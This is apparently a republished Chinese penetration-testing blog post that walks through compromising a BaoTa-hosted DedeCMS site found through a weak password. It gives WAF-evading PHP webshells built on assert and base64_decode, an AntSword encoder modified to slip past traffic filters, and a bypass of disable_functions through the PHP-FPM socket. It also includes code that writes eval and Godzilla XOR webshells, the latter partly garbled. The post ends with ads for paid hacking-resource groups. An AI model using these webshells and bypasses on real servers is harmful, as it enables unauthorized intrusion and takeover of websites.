Bypass宝塔+dedecms 文件上传漏洞复现
2023-7-6 23:46:49 Author: 渗透安全团队(查看原文) 阅读量:76 收藏

前言

1,弱口令发现目标网站,为宝塔搭建的dedecms,于是自己服务器搭建同样的

2 get请求phpinfo() 有waf,上传文件有waf

3,寻找资料,发现是,宝塔的ngix防火墙。同样在自己的服务器上部署成功。顺便还看到了,宝塔的过滤规则。


可以发现, 规则,对get,post ,cookie,等方式的eval,还有base64都进行了过滤

4,过waf的一句话, eval和assert的区别


规则, 对eval( base64( phpinfo( 等过滤了。可以采取字符串拼接的方式。
但是,eval是不能够被拼接的。因为eval()是一个语言构造器,他不能使用PHP提供的可变函数来调用
上代码:

  1. <?php

  2. $a='assert';

  3. $m='base64_decode';

  4. $a($m($_REQUEST['z']));

5,为什么要base64呢?因为蚁剑,和菜刀的流量特征。。里面有base64


这个就是蚁剑的流量特征。有明显的base64所以直接被过滤掉了。
通过查资料。知道,1方面要对小马进行base64编码, 另外一方面要对蚁剑进行魔改。小马就是上面的小马了。至于蚁剑的魔改, 直接改配置 。简单来说,就是双base64

  1. 'use strict';

  2. module.exports = (pwd, data, ext={}) => {

  3. data[pwd] = Buffer.from(data['_']).toString('base64');

  4. delete data['_'];

  5. return data;

  6. }

其实当小马写入进去的时候, 就可以执行了。
不过传进去的是phpinfo() 的base64编码 . 正好小马是base64decode

6 蚁剑连接成功。

当然编码格式得选刚才自己写的编码

7,但是控制台,不管输入whoami,还是ls ,还是其他命令,全部都是ret=127


通过查资料知道了。这是phpinfo 里面设置的disable_function 过滤掉了, system函数。

8,于是要绕过disable_function 。

1,我先找的资料,是蚁剑的绕过disable_function 。蚁剑有个插件市场有绕过disable_function


通过一个个测试, 只有选择fastcgi/php_FPM。并且自己狠狠地恶补了这个知识。大意就是,fastcgi是个解释器,直接修改这个解释器,从而绕过phpinfo的disbale_function .


千万要注意的是,这个得选择这个。找了好多资料,测试好多次。一直找不到。其他的都不对。


/tmp/php-cgi-70.sock

9,蚁剑文件上传成功。

本来到这里就结束了。然后连接.antproxy.php 这个文件, 密码不变。就能够成功连接上。不知道为什么, 我的蚁剑不成功。返回是空, 有知道的大佬, 求知道下

10,由于蚁剑没成功。找了资料说哥斯拉也有绕过disable_function 。于是哥斯拉安排上。成功获得权限www


一定要注意FPM/FCGI的地址不能写错
/tmp/php-cgi-56.sock

备注:中间还有一个步骤。那就是, 哥斯拉生产的php小马第一个有base64流量特征,所以穿不进去, 被waf拦截。其他2个php小马没有流量特征是可以用的。但是, 里面有eval函数。于是。我用file_put_contents 写文件, 直接把哥斯拉的小马写进去了。具体参考如下


一句话;

  1. <?php

  2. $a=base64_decode($_REQUEST['test']);

  3. echo $a;

  4. assert($a);

poc:

  1. $a = "好好学习,天天向上;福如东海,寿比南山";

  2. $b = file_put_contents('test.txt', $a);

  3. $b = file_put_contents('test.txt','好好学习,天天向上;福如东海,寿比南山');

  4. file_put_contents('shell.php','<?php eval($_REQUEST[8]);');

  5. //哥斯拉xor一句话

  6. file_put_contents('xor.php','<?php

  7. <span class="label label-primary">@session_start();#CTL{n}</span><span>@set_time_limit(0);#CTL{n}</span><span>@error_reporting(0);#CTL{n}function</span> encode($D,$K){

  8. for($i=0;[email protected]($data),$key);#CTL{n}</span> }else{

  9. if (strpos($data,"getBasicsInfo")!==false){

  10. $_SESSION[$payloadName]=encode($data,$key);

  11. }

  12. }

  13. }

  14. ');

备注:$b的内容进行base64编码


付费圈子

欢 迎 加 入 星 球 !

代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员

进成员内部群

星球的最近主题和星球内部工具一些展示

加入安全交流群

                               

关 注 有 礼

关注下方公众号回复“666”可以领取一套领取黑客成长秘籍

 还在等什么?赶紧点击下方名片关注学习吧!


干货|史上最全一句话木马

干货 | CS绕过vultr特征检测修改算法

实战 | 用中国人写的红队服务器搞一次内网穿透练习

实战 | 渗透某培训平台经历

实战 | 一次曲折的钓鱼溯源反制

免责声明
由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!
好文分享收藏赞一下最美点在看哦

文章来源: http://mp.weixin.qq.com/s?__biz=MzkxNDAyNTY2NA==&mid=2247507203&idx=2&sn=2d3ee6906d0b7111b8f22752cf179b9d&chksm=c17620acf601a9ba27cf5b963137cb8a4c54fc969d5ed9623986f77cab41069e9f3d7f4913e6#rd
如有侵权请联系:admin#unsafe.sh